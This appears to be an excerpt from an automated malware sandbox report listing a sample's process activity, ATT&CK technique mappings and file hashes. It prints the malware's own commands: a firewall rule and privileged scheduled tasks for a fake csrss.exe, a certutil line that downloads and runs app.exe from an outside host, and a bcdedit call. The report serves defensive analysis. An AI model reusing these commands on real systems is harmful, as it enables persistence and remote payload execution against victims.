C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:2848
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:1580
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:2064
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1376
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:2016
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240829181832.log C:\Windows\Logs\CBS\CbsPersist_20240829181832.cab1⤵
- Drops file in Windows directory
PID:2804
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
3Replay Monitor
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Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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Filesize
3.9MB
MD5c95cacf637b843678cd05cbd450fa9d7
SHA11e0f3dbd768e395e6781b84f5f2807515e15a265
SHA2560c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe
SHA512df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53